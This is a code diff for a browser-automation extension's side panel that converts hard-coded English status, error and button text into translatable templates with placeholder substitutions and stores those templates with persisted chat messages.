_delegationElement('h2', 'delegation-state-heading', headingText); + : _delegationElement('h2', 'delegation-state-heading', headingText, headingSubs); if (offlinePresentation) heading.setAttribute('data-delegation-tone', 'danger'); heading.id = 'delegationRunHeading'; heading.tabIndex = -1; mount.state.appendChild(heading); - mount.state.appendChild(_delegationElement('p', 'delegation-state-body', bodyText)); + mount.state.appendChild(_delegationElement('p', 'delegation-state-body', bodyText, bodySubs)); if (offlinePresentation || code === 'extension_origin_mismatch') { mount.state.appendChild(_delegationElement( 'code', @@ -1964,14 +2007,24 @@ function _delegationHeaderPresentation(snapshot) { return { label: 'Ready', tone: '' }; } -function _delegationStoppedHeading(snapshot) { +// The heading as a catalog template and its count, so the card can keep the +// key and follow a language change. +function _delegationStoppedHeadingParts(snapshot) { var count = snapshot && snapshot.terminal && Number.isSafeInteger(snapshot.terminal.releasedTabCount) && snapshot.terminal.releasedTabCount >= 0 ? snapshot.terminal.releasedTabCount : 0; - return 'Agent stopped, ' + count + ' ' + (count === 1 ? 'tab' : 'tabs') + ' released'; + return { + template: count === 1 ? 'Agent stopped, $COUNT$ tab released' : 'Agent stopped, $COUNT$ tabs released', + subs: { count: count } + }; +} + +function _delegationStoppedHeading(snapshot) { + var parts = _delegationStoppedHeadingParts(snapshot); + return parts.template.replace('$COUNT$', String(parts.subs.count)); } function _delegationSnapshotAlertKey(snapshot) { @@ -2043,7 +2096,7 @@ function _restoreLegacyStopControl() { if (!stopBtn) return; stopBtn.removeAttribute('data-delegation-action'); stopBtn.removeAttribute('aria-label'); - stopBtn.setAttribute('title', 'Stop Automation'); + stopBtn.setAttribute('title', (globalThis.fsbUiLocale && typeof fsbUiLocale.line === 'function') ? fsbUiLocale.line('Stop Automation') : 'Stop Automation'); var ownerLocked = _chatLockedByOwnerChip === true; stopBtn.disabled = ownerLocked; if (ownerLocked) { @@ -2066,6 +2119,7 @@ function _syncDelegationStopControls(snapshot) { } var stopping = _delegationStopControlPending(snapshot); var stopLabel = stopping ? 'Stopping Automation…' : 'Stop Automation'; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.line === 'function') stopLabel = fsbUiLocale.line(stopLabel); if (stopBtn) { stopBtn.classList.remove('hidden'); stopBtn.classList.remove('fsb-foreign-owned-disabled'); @@ -2082,6 +2136,13 @@ function _syncDelegationStopControls(snapshot) { return true; } +// apply() only re-translates the idle Stop tooltip; it cannot reach the +// accessible name or the pending label, so a language change re-runs the sync. +function _relabelDelegationStop() { + if (!stopBtn || stopBtn.getAttribute('data-delegation-action') !== 'stop') return; + _syncDelegationStopControls(_delegationUiState.snapshot); +} + function _handleFixedStop(event) { if (_delegationUsesFixedStop(_delegationUiState.snapshot)) { return _stopDelegation(event); @@ -2150,23 +2211,29 @@ function _renderDelegationRunHeader(container, snapshot) { && !offline && !unpaired && !unsupported; - var providerLabel = snapshot.provider ? snapshot.provider.label : 'Agent'; + var providerSubs = { name: (snapshot.provider && snapshot.provider.label) || 'The agent' }; var headingText = _delegationStateLabel(snapshot); + var headingSubs = null; if (bindingCleanupPending) headingText = 'Agent cleanup needs attention'; else if (restartLost) headingText = 'Agent run ended after daemon restart'; - else if (stopped) headingText = _delegationStoppedHeading(snapshot); + else if (stopped) { + var stoppedHeading = _delegationStoppedHeadingParts(snapshot); + headingText = stoppedHeading.template; + headingSubs = stoppedHeading.subs; + } else if (offline) headingText = 'Agent offline'; else if (disconnected) headingText = 'Agent connection lost'; else if (unpaired) headingText = 'Automatic connection needs the native helper'; else if (unsupported) { - headingText = (snapshot.provider ? snapshot.provider.label : 'Selected provider') - + ' cannot run browser tasks'; + headingText = '$NAME$ cannot run browser tasks'; + headingSubs = { name: snapshot.provider ? snapshot.provider.label : 'Selected provider' }; } else if (resumeOwnershipFailure) headingText = 'Agent could not resume control'; var heading = _delegationSemanticHeading( 'h2', 'delegation-state-heading', headingText, - presentationTone + presentationTone, + headingSubs ); heading.id = 'delegationRunHeading'; container.appendChild(heading); @@ -2230,8 +2297,8 @@ function _renderDelegationRunHeader(container, snapshot) { container.appendChild(_delegationElement( 'p', 'delegation-state-body', - 'FSB could not return this tab to ' + providerLabel - + ', so the run ended and the tab remains under your control. Start a new task when you are ready.' + 'FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control. Start a new task when you are ready.', + providerSubs )); var resumeFailureActions = _delegationElement('div', 'delegation-state-actions'); resumeFailureActions.appendChild(_delegationAction( @@ -2240,14 +2307,14 @@ function _renderDelegationRunHeader(container, snapshot) { container.appendChild(resumeFailureActions); } else if (genericRunFailure) { var providerReportedFailure = terminalCode === 'provider_error'; + var failureTemplate = providerReportedFailure + ? '$NAME$ reported an error before completing this task. Raw provider output was not retained. Try the same message again.' + : '$NAME$ stopped before the task was complete. Try the same message again.'; container.appendChild(_delegationElement( 'p', 'delegation-state-body', - providerReportedFailure - ? providerLabel - + ' reported an error before completing this task. Raw provider output was not retained. Try the same message again.' - : providerLabel - + ' stopped before the task was complete. Try the same message again.' + failureTemplate, + providerSubs )); _appendDelegationTechnicalCode(container, terminalCode || 'agent_failed'); var retryActions = _delegationElement('div', 'delegation-state-actions'); @@ -2266,7 +2333,8 @@ function _renderDelegationRunHeader(container, snapshot) { || _delegationUiState.errorCode === 'hold_lease_failed') { _renderDelegationInlineError( container, - providerLabel + ' could not pause for human control.' + '$NAME$ could not pause for human control.', + providerSubs ); } else if (_delegationUiState.errorCode === 'stop_failed' || _delegationUiState.errorCode === 'runtime_unavailable') { @@ -2461,6 +2529,9 @@ function _delegationLifecycleAnnouncement(snapshot, previousSnapshot, hydrated) textValue = 'Automation resumed'; } if (!suffix) return ''; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.line === 'function') { + textValue = fsbUiLocale.line(textValue); + } return _delegationOneShotTransition( snapshot.delegationId + ':lifecycle:' + suffix, textValue, @@ -2809,8 +2880,8 @@ async function _beginDelegationStart(challengeId) { var failedMount = _ensureDelegationMount(); _renderDelegationInlineError( failedMount.state, - (_delegationUiState.providerLabel || 'Agent') - + ' could not start this task. Keep the message and try again.' + '$NAME$ could not start this task. Keep the message and try again.', + { name: _delegationUiState.providerLabel || 'The agent' } ); } updateSendButtonState(); @@ -3300,9 +3371,11 @@ try { } } catch (_error) { /* reduced-motion changes are best-effort */ } -function setAutomationRunnerText(text) { +function setAutomationRunnerText(text, subs) { if (!automationRunnerLabel) return; - automationRunnerLabel.textContent = text || 'Automation running'; + var label = text || 'Automation running'; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(automationRunnerLabel, label, subs); + else automationRunnerLabel.textContent = subs ? spLine(label, subs) : label; } function showAutomationRunner(startedAt, text) { @@ -3378,10 +3451,14 @@ function _renderAutomationRetryPrompt(taskText, onRetry) { if (!taskText) return null; const retryDiv = document.createElement('div'); retryDiv.className = 'message system new'; - retryDiv.textContent = 'Would you like to try again? '; + retryDiv.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryDiv, 'Would you like to try again? ') + : 'Would you like to try again? '; const retryBtn = document.createElement('button'); retryBtn.className = 'retry-btn'; - retryBtn.textContent = 'Retry'; + retryBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryBtn, 'Retry') + : 'Retry'; retryBtn.addEventListener('click', async () => { // WR-03: without this gate the click silently drops the user's intent, // because handleSendMessage's runtime gate fail-closes without surfacing why. @@ -3402,27 +3479,27 @@ function _delegatedRunErrorMessage(snapshot) { var label = (snapshot && snapshot.provider && snapshot.provider.label) || 'The agent'; var code = snapshot && snapshot.terminal ? snapshot.terminal.code : null; if (code === 'provider_error') { - return label + ' reported an error before completing this task. Raw provider output was not retained.'; + return { english: '$NAME$ reported an error before completing this task. Raw provider output was not retained.', subs: { name: label } }; } if (code === 'daemon_restart_lost_run') { - return 'The previous agent process was stopped and was not reattached. Start a new task when the local service is ready.'; + return { english: 'The previous agent process was stopped and was not reattached. Start a new task when the local service is ready.' }; } if (code === 'resume_ownership_lost' || code === 'hold_expired') { - return 'FSB could not return this tab to ' + label + ', so the run ended and the tab remains under your control.'; + return { english: 'FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control.', subs: { name: label } }; } - if (code === 'wall_clock_timeout') return label + ' ran past the time limit for this task.'; - if (code === 'event_silence_timeout') return label + ' stopped sending updates, so FSB ended the run.'; + if (code === 'wall_clock_timeout') return { english: '$NAME$ ran past the time limit for this task.', subs: { name: label } }; + if (code === 'event_silence_timeout') return { english: '$NAME$ stopped sending updates, so FSB ended the run.', subs: { name: label } }; // Setup failures carry their recovery in the text, because a plain retry cannot fix them. if (code === 'agent_unpaired' || code === 'native_host_missing') { - return 'FSB\u2019s local helper is not installed. Run: npx -y fsb-mcp-server@latest install --native-host'; + return { english: 'FSB’s local helper is not installed. Run: npx -y fsb-mcp-server@latest install --native-host' }; } if (code === 'agent_offline') { - return label + ' is not reachable. Start the local FSB service, then try this message again.'; + return { english: '$NAME$ is not reachable. Start the local FSB service, then try this message again.', subs: { name: label } }; } if (code === 'unsupported_provider') { - return label + ' cannot run browser tasks. Choose a supported agent provider in Settings.'; + return { english: '$NAME$ cannot run browser tasks. Choose a supported agent provider in Settings.', subs: { name: label } }; } - return label + ' stopped before the task was complete.'; + return { english: '$NAME$ stopped before the task was complete.', subs: { name: label } }; } function _delegatedRunEmitEntry(entry) { @@ -3472,7 +3549,7 @@ function _delegatedRunApplyTerminal(snapshot) { return true; } setErrorState(_activeTabIdSnapshot); - completeStatusMessage('Error: ' + _delegatedRunErrorMessage(snapshot), 'error'); + completeStatusMessage('Error: $ERROR$', 'error', { error: _delegatedRunErrorMessage(snapshot) }); if (typeof _renderAutomationRetryPrompt === 'function') { _renderAutomationRetryPrompt(_delegationUiState.task, async function() { await _prepareDelegationTask(true); @@ -3596,7 +3673,7 @@ async function startReconFromSidepanel(url, originalTask) { pendingReconTask = originalTask; const domain = new URL(url).hostname; - addMessage('Starting reconnaissance on ' + domain + '...', 'system'); + addMessage('Starting reconnaissance on $DOMAIN$...', 'system', undefined, { domain: domain }); try { const response = await chrome.runtime.sendMessage({ @@ -3608,11 +3685,11 @@ async function startReconFromSidepanel(url, originalTask) { }); if (!response || !response.success) { - addMessage('Reconnaissance failed to start: ' + (response?.error || 'Unknown error'), 'system'); + addMessage('Reconnaissance failed to start: $ERROR$', 'system', undefined, { error: response?.error || 'Unknown error' }); pendingReconTask = null; } } catch (error) { - addMessage('Reconnaissance failed: ' + error.message, 'system'); + addMessage('Reconnaissance failed to start: $ERROR$', 'system', undefined, { error: error.message || 'Unknown error' }); pendingReconTask = null; } } @@ -3657,16 +3734,20 @@ function handleReconComplete(data) { reconProgressMessages.delete(id); } - addMessage('Reconnaissance complete! Site map saved for ' + (data?.domain || 'this site') + '.', 'system'); + addMessage('Reconnaissance complete! Site map saved for $DOMAIN$.', 'system', undefined, { domain: data?.domain || 'this site' }); // Offer retry with the original task if (pendingReconTask) { const retryDiv = document.createElement('div'); retryDiv.className = 'message system new'; - retryDiv.textContent = 'Site map ready. Retry your task? '; + retryDiv.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryDiv, 'Site map ready. Retry your task? ') + : 'Site map ready. Retry your task? '; const retryBtn = document.createElement('button'); retryBtn.className = 'retry-btn'; - retryBtn.textContent = 'Retry with Site Map'; + retryBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryBtn, 'Retry with Site Map') + : 'Retry with Site Map'; retryBtn.addEventListener('click', async () => { // Phase 11 FINT-20 WR-03 fix -- gate the retry on the foreign-owned // check. applyInputLockout dims chatInput/sendBtn/stopBtn/micBtn when @@ -3883,7 +3964,10 @@ async function refreshActiveTabOwnership(tabId, surfaceGeneration) { // while the visible automation presentation stays provider-neutral. _chatLockedByOwnerChip = true; applyInputLockout(true); - chatInput.title = 'Disabled while automation is working on this tab'; + chatInput.title = (globalThis.fsbUiLocale && fsbUiLocale.text) + ? fsbUiLocale.text('shell_locked_tab', 'Disabled while automation is working on this tab') + : 'Disabled while automation is working on this tab'; + chatInput.setAttribute('data-i18n-attr', 'title:shell_locked_tab'); updateSendButtonState(); return { verified: true, @@ -4455,16 +4539,6 @@ async function _handleLegacySendMessage(message) { // the helper; never blocks the send path. try { conversationId = await ensureTabConversationForActiveTab(false); } catch (_e) { /* swallow */ } - // DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md - // Handle /agent slash commands - // if (message.startsWith('/agent')) { - // chatInput.textContent = ''; - // updateSendButtonState(); - // addMessage(message, 'user'); - // handleAgentCommand(message); - // return; - // } - try { // Add user message to chat addMessage(message, 'user'); @@ -4494,7 +4568,7 @@ async function _handleLegacySendMessage(message) { ownershipToken: legacy && legacy.ownershipToken }, (response) => { if (chrome.runtime.lastError) { - addMessage(`Error communicating with background script: ${chrome.runtime.lastError.message}`, 'error'); + addMessage('Error communicating with background script: $ERROR$', 'error', undefined, { error: chrome.runtime.lastError.message }); return; } @@ -4511,14 +4585,14 @@ async function _handleLegacySendMessage(message) { // Show Chrome page error as plain text, not in a bubble showChromepageError(errorMsg); } else { - addMessage(`I encountered an error: ${errorMsg}`, 'error'); + addMessage('I encountered an error: $ERROR$', 'error', undefined, { error: errorMsg }); } setIdleState(_activeTabIdSnapshot); } }); } catch (error) { - addMessage(`Something went wrong: ${error.message}`, 'error'); + addMessage('Something went wrong: $ERROR$', 'error', undefined, { error: error.message }); setIdleState(_activeTabIdSnapshot); } } @@ -4545,7 +4619,7 @@ function stopAutomation() { if (chrome.runtime.lastError) { console.error('Side panel: Chrome runtime error:', chrome.runtime.lastError); - addMessage(`Error communicating with background script: ${chrome.runtime.lastError.message}`, 'error'); + addMessage('Error communicating with background script: $ERROR$', 'error', undefined, { error: chrome.runtime.lastError.message }); stopRequested = false; return; } @@ -4577,7 +4651,7 @@ function stopAutomation() { stopRequested = false; console.log('Side panel: Stop arrived after natural completion (alreadyEnded)'); } else { - addMessage(`Error stopping automation: ${errorMsg}`, 'error'); + addMessage('Error stopping automation: $ERROR$', 'error', undefined, { error: errorMsg }); stopRequested = false; console.error('Side panel: Stop automation failed:', errorMsg); } @@ -4843,7 +4917,7 @@ function ensureActionGroup() { group.className = 'action-summary-group'; const header = document.createElement('div'); header.className = 'action-summary-header'; - header.innerHTML = '>0 actions completed'; + header.innerHTML = '>' + escapeHtml(actionCountLabel(0)) + ''; header.addEventListener('click', () => { const list = group.querySelector('.action-summary-list'); const chevron = group.querySelector('.action-chevron'); @@ -4886,10 +4960,7 @@ function addActionMessage(text) { list.appendChild(entry); // Update count label - const countEl = group.querySelector('.action-summary-count'); - if (countEl) { - countEl.textContent = `${list.children.length} action${list.children.length === 1 ? '' : 's'} completed`; - } + setActionCount(group.querySelector('.action-summary-count'), list.children.length); scrollToBottom(); } @@ -4912,6 +4983,7 @@ function addStatusMessage(text, type = 'ai') { const statusTextEl = document.createElement('span'); statusTextEl.className = 'status-text'; statusTextEl.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusTextEl, text); setAutomationRunnerText(text); // Progress container (hidden until progress data arrives) @@ -4944,12 +5016,15 @@ function addStatusMessage(text, type = 'ai') { } // Update existing status message with optional progress data -function updateStatusMessage(text, progressData) { - setAutomationRunnerText(text); +function updateStatusMessage(text, progressData, subs) { + // The template and its subs go to markExact() unfilled, so both lines keep + // their key and follow a language change. + setAutomationRunnerText(text, subs); if (currentStatusMessage) { const statusText = currentStatusMessage.querySelector('.status-text'); if (statusText) { - statusText.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, text, subs); + else statusText.textContent = subs ? spLine(text, subs) : text; } if (progressData && progressData.iteration != null) { const container = currentStatusMessage.querySelector('.progress-container'); @@ -4966,18 +5041,18 @@ function updateStatusMessage(text, progressData) { // Complete status message: remove dots-only indicator, show only the result bubble -function completeStatusMessage(text, type = 'ai') { +function completeStatusMessage(text, type = 'ai', subs) { if (currentStatusMessage) { currentStatusMessage.remove(); currentStatusMessage = null; currentActionGroup = null; if (type === 'partial') { - addCompletionMessage(text, 'ai', true); + addCompletionMessage(text, 'ai', true, subs); } else if (type !== 'system') { - addCompletionMessage(text, type); + addCompletionMessage(text, type, false, subs); } else { - addMessage(text, 'system'); + addMessage(text, 'system', undefined, subs); } } } @@ -5004,13 +5079,16 @@ function _renderCompletionDomOnly(text, type, isPartial) { messageDiv.classList.add('partial-result'); var label = document.createElement('div'); label.className = 'partial-result-label'; - label.textContent = 'Partial result'; + label.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(label, 'Partial result') + : 'Partial result'; messageDiv.appendChild(label); } if (type === 'error') { messageDiv.className = 'message error new'; messageDiv.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(messageDiv, text); } else { var contentDiv = document.createElement('div'); if (typeof FSBMarkdown !== 'undefined') { @@ -5035,7 +5113,9 @@ function _renderCompletionDomOnly(text, type, isPartial) { } // Add a separate completion message bubble with markdown support -function addCompletionMessage(text, type = 'ai', isPartial = false) { +function addCompletionMessage(text, type = 'ai', isPartial = false, subs) { + let renderedText = text; + let uiMessage; const messageDiv = document.createElement('div'); messageDiv.className = `message ai-completion new`; @@ -5043,13 +5123,24 @@ function addCompletionMessage(text, type = 'ai', isPartial = false) { messageDiv.classList.add('partial-result'); const label = document.createElement('div'); label.className = 'partial-result-label'; - label.textContent = 'Partial result'; + label.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(label, 'Partial result') + : 'Partial result'; messageDiv.appendChild(label); } if (type === 'error') { messageDiv.className = `message error new`; - messageDiv.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + renderedText = fsbUiLocale.markExact(messageDiv, text, subs); + if (messageDiv.getAttribute('data-i18n-live')) { + uiMessage = { english: text }; + if (subs) uiMessage.subs = subs; + } + } else { + renderedText = spLine(text, subs); + messageDiv.textContent = renderedText; + } } else { // Use markdown rendering if available, plain text fallback const contentDiv = document.createElement('div'); @@ -5075,7 +5166,8 @@ function addCompletionMessage(text, type = 'ai', isPartial = false) { // Phase 12 FINT-23 write-through (Plan 12-02): completion bubbles persist // as assistant text. isPartial flag NOT recorded per CONTEXT D-07 + D-26. - _persistMessage('assistant', text, 'text'); + if (uiMessage) _persistMessage('assistant', renderedText, 'text', uiMessage); + else _persistMessage('assistant', renderedText, 'text'); } // Show Chrome page error as plain text without bubble @@ -5119,7 +5211,7 @@ function showChromepageError(text) { * Storage failures swallow silently -- DOM render must never block on * persistence per CONTEXT D-03. */ -function _persistMessage(role, content, kind) { +function _persistMessage(role, content, kind, uiMessage) { if (typeof FSBSidepanelMessageLog === 'undefined') return; if (!conversationId || typeof conversationId !== 'string') return; if (typeof content !== 'string' || content.length === 0) return; @@ -5136,12 +5228,16 @@ function _persistMessage(role, content, kind) { buffer = []; _messageLogPendingBuffer.set(convId, buffer); } - buffer.push({ + var row = { role: resolvedRole, content: content, timestamp: Date.now(), kind: resolvedKind - }); + }; + var source = uiMessage && resolvedRole === 'assistant' && resolvedKind !== 'tool' + ? FSBSidepanelMessageLog.cloneUiMessage(uiMessage) : null; + if (source) row.uiMessage = source; + buffer.push(row); // Clear-and-replace 200ms debounce per CONTEXT D-03. _messageLogDebouncer.schedule(convId, function () { @@ -5173,7 +5269,7 @@ function _persistMessage(role, content, kind) { * Storage failures swallow silently -- DOM render must never block on * persistence (mirrors _persistMessage contract). */ -function _persistMessageToConversation(role, content, kind, convId, sessionId, terminal) { +function _persistMessageToConversation(role, content, kind, convId, sessionId, terminal, uiMessage) { if (typeof FSBSidepanelMessageLog === 'undefined') return; if (!convId || typeof convId !== 'string') return; if (typeof content !== 'string' || content.length === 0) return; @@ -5199,6 +5295,9 @@ function _persistMessageToConversation(role, content, kind, convId, sessionId, t // the background already persisted; sidepanel is now idempotent backup). if (typeof sessionId === 'string' && sessionId.length > 0) row.sessionId = sessionId; if (terminal === true) row.terminal = true; + var source = uiMessage && resolvedRole === 'assistant' && resolvedKind !== 'tool' + ? FSBSidepanelMessageLog.cloneUiMessage(uiMessage) : null; + if (source) row.uiMessage = source; buffer.push(row); _messageLogDebouncer.schedule(convId, function () { @@ -5286,7 +5385,7 @@ async function _flushMessageLog(convId) { * * No .new class. No animation setTimeout. Scrollback is not "new". */ -function renderPersistedMessage(content, role, kind) { +function renderPersistedMessage(content, role, kind, uiMessage) { if (typeof content !== 'string' || content.length === 0) return; if (!chatMessages) return; var cssType = 'system'; @@ -5296,11 +5395,23 @@ function renderPersistedMessage(content, role, kind) { var messageDiv = document.createElement('div'); messageDiv.className = 'message ' + cssType; messageDiv.textContent = content; + if (role === 'assistant' && kind !== 'tool') { + var source = uiMessage && typeof FSBSidepanelMessageLog !== 'undefined' + ? FSBSidepanelMessageLog.cloneUiMessage(uiMessage) : null; + var step = !uiMessage && kind === 'progress' ? /^Step (\d+) complete$/.exec(content) : null; + if (step) source = { english: 'Step $NUMBER$ complete', subs: { number: step[1] } }; + if (source && globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function' + && Object.prototype.hasOwnProperty.call(fsbUiLocale.exact, source.english)) { + fsbUiLocale.markExact(messageDiv, source.english, source.subs); + } + } chatMessages.appendChild(messageDiv); } // Add message to chat with modern bubble styling -function addMessage(text, type = 'system', kind) { +function addMessage(text, type = 'system', kind, subs) { + let renderedText = text; + let uiMessage; const messageDiv = document.createElement('div'); messageDiv.className = `message ${type} new`; @@ -5322,6 +5433,18 @@ function addMessage(text, type = 'system', kind) { } else { messageDiv.textContent = text; } + if (type !== 'user' && type !== 'ai' && type !== 'action') { + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + renderedText = fsbUiLocale.markExact(messageDiv, text, subs); + if (messageDiv.getAttribute('data-i18n-live')) { + uiMessage = { english: text }; + if (subs) uiMessage.subs = subs; + } + } else if (subs) { + renderedText = spLine(text, subs); + messageDiv.textContent = renderedText; + } + } // Add dismiss button for error messages if (type === 'error') { @@ -5367,7 +5490,8 @@ function addMessage(text, type = 'system', kind) { else if (type === 'action') _kind = 'tool'; else _kind = 'text'; } - _persistMessage(_role, text, _kind); + if (uiMessage) _persistMessage(_role, renderedText, _kind, uiMessage); + else _persistMessage(_role, renderedText, _kind); } // Smooth scroll to bottom @@ -5523,9 +5647,9 @@ function renderAutomationCompletionPayload(payload) { var errorMessage = payload.error || payload.outcomeDetails?.error || completionMessage || 'Automation error'; setErrorState(_resolveTabIdForSession(payload.sessionId)); if (currentStatusMessage) { - completeStatusMessage('Error: ' + errorMessage, 'error'); + completeStatusMessage('Error: $ERROR$', 'error', { error: errorMessage }); } else { - addCompletionMessage('Error: ' + errorMessage, 'error'); + addCompletionMessage('Error: $ERROR$', 'error', false, { error: errorMessage }); } } else if (currentStatusMessage) { completeStatusMessage( @@ -5563,13 +5687,17 @@ function renderAutomationCompletionPayload(payload) { reconDiv.className = 'message system new recon-suggestion'; const textSpan = document.createElement('span'); textSpan.className = 'recon-suggestion-text'; - textSpan.textContent = 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; + textSpan.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(textSpan, 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.') + : 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; reconDiv.appendChild(textSpan); const reconBtn = document.createElement('button'); reconBtn.className = 'recon-btn'; reconBtn.id = 'reconFromSidepanel'; - reconBtn.textContent = 'Run Reconnaissance'; + reconBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(reconBtn, 'Run Reconnaissance') + : 'Run Reconnaissance'; reconBtn.addEventListener('click', () => { startReconFromSidepanel(currentUrl, payload.task || completionMessage); }); @@ -5818,13 +5946,17 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { reconDiv.className = 'message system new recon-suggestion'; const textSpan = document.createElement('span'); textSpan.className = 'recon-suggestion-text'; - textSpan.textContent = 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; + textSpan.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(textSpan, 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.') + : 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; reconDiv.appendChild(textSpan); const reconBtn = document.createElement('button'); reconBtn.className = 'recon-btn'; reconBtn.id = 'reconFromSidepanel'; - reconBtn.textContent = 'Run Reconnaissance'; + reconBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(reconBtn, 'Run Reconnaissance') + : 'Run Reconnaissance'; reconBtn.addEventListener('click', () => { startReconFromSidepanel(currentUrl, request.task || completionMessage); }); @@ -5861,7 +5993,10 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { // Snapshot previous status as completed action message const prevText = currentStatusMessage?.querySelector('.status-text')?.textContent; const skipTexts = ['Starting automation...', 'Connecting to page...', 'Connected. Analyzing page...', 'Analyzing page...']; - if (prevText && !skipTexts.includes(prevText)) { + // addStatusMessage() shows these through fsbUiLocale, so the DOM may hold a translation. + const isTransient = (english) => prevText === english + || (globalThis.fsbUiLocale && typeof fsbUiLocale.isLine === 'function' && fsbUiLocale.isLine(english, prevText)); + if (prevText && !skipTexts.some(isTransient)) { addActionMessage(prevText); } updateStatusMessage(request.message, { @@ -5898,7 +6033,7 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { var isErrorOriginatingActive = (typeof errorTabId === 'number' && errorTabId === _activeTabIdSnapshot); if (isErrorOriginatingActive) { - completeStatusMessage(`Error: ${request.error}`, 'error'); + completeStatusMessage('Error: $ERROR$', 'error', { error: request.error }); // Provide specific guidance for stuck scenarios if (request.error && request.error.includes('stuck')) { @@ -5958,14 +6093,16 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { var iterConvId = (typeof request.conversationId === 'string' && request.conversationId.length > 0) ? request.conversationId : (request.sessionId === currentSessionId ? conversationId : null); - _persistMessageToConversation('assistant', 'Step ' + request.iteration + ' complete', 'progress', iterConvId); + var stepMessage = { english: 'Step $NUMBER$ complete', subs: { number: request.iteration } }; + _persistMessageToConversation('assistant', spLine(stepMessage.english, stepMessage.subs), + 'progress', iterConvId, undefined, undefined, stepMessage); // DOM render: only for the active session AND only when running. if (request.sessionId === currentSessionId && currentStatusMessage && isRunning) { - updateStatusMessage('Step ' + request.iteration + ' complete', { + updateStatusMessage('Step $NUMBER$ complete', { iteration: request.iteration, maxIterations: 100, progressPercent: Math.min(100, Math.round((request.iteration / 100) * 100)) - }); + }, { number: request.iteration }); } break; case 'session_ended': @@ -6014,34 +6151,30 @@ function showLoginPrompt(domain, fields) { container.className = 'message login-prompt new'; container.id = 'login-prompt'; - const fieldLabel = (fields && fields.usernameType === 'email') ? 'Email' : 'Username / Email'; + const fieldLabel = escapeAttr(spLine((fields && fields.usernameType === 'email') ? 'Email' : 'Username / Email')); // Escape domain for safe HTML insertion - const safeDomain = (domain || 'this site').replace(/[<>&"']/g, c => ({'<':'<','>':'>','&':'&','"':'"',"'":'''}[c])); + const safeDomain = escapeAttr(domain || spLine('this site')); const authPrompt = null; - const promptDetail = (authPrompt && authPrompt.detail) || 'Submit credentials once to let FSB sign in and resume this same session.'; - const handoffDetail = (authPrompt && authPrompt.handoff) || 'If you skip or the site still needs manual approval, FSB will preserve the completed work and finish with a manual handoff.'; const allowSave = authPrompt?.allowSave !== false; - const saveDisabledReason = authPrompt?.saveDisabledReason || 'Saving is unavailable for this session.'; - const safeSubtext = `${promptDetail} ${handoffDetail}`.trim().replace(/[<>&"']/g, c => ({'<':'<','>':'>','&':'&','"':'"',"'":'''}[c])); - const safeSaveDisabledReason = saveDisabledReason.replace(/[<>&"']/g, c => ({'<':'<','>':'>','&':'&','"':'"',"'":'''}[c])); + const safeSaveDisabledReason = escapeAttr(authPrompt?.saveDisabledReason || spLine('Saving is unavailable for this session.')); container.innerHTML = ` - + `; @@ -6311,9 +6447,21 @@ function showPaymentFillConfirmation(data) { const last4El = document.getElementById('pfcLast4'); const domainEl = document.getElementById('pfcDomain'); - if (brandEl) brandEl.textContent = brandLabelMap[data.cardBrand] || data.cardBrand || 'Card'; + // Brand names and the domain stay as sent; the words around them follow the + // UI language, including after a switch while the confirmation is open. + const brandName = brandLabelMap[data.cardBrand] || data.cardBrand; + const canMark = !!(globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function'); + if (brandEl) { + if (canMark) fsbUiLocale.markExact(brandEl, brandName || 'Card'); + else brandEl.textContent = brandName || 'Card'; + } if (last4El) last4El.textContent = '****' + (data.last4 || '****'); - if (domainEl) domainEl.textContent = 'on ' + (data.merchantDomain || 'this page'); + if (domainEl) { + const domainTemplate = data.merchantDomain ? 'on $DOMAIN$' : 'on this page'; + const domainSubs = data.merchantDomain ? { domain: data.merchantDomain } : undefined; + if (canMark) fsbUiLocale.markExact(domainEl, domainTemplate, domainSubs); + else domainEl.textContent = spLine(domainTemplate, domainSubs); + } overlay.classList.remove('hidden'); @@ -6425,7 +6573,7 @@ async function loadHistoryList() { if (sessions.length === 0) { historyList.innerHTML = '
' + '' + - '

No sessions yet. Run an automation to see your history here.

' + + '

' + escapeHtml(spLine('No sessions yet. Run an automation to see your history here.')) + '

' + '
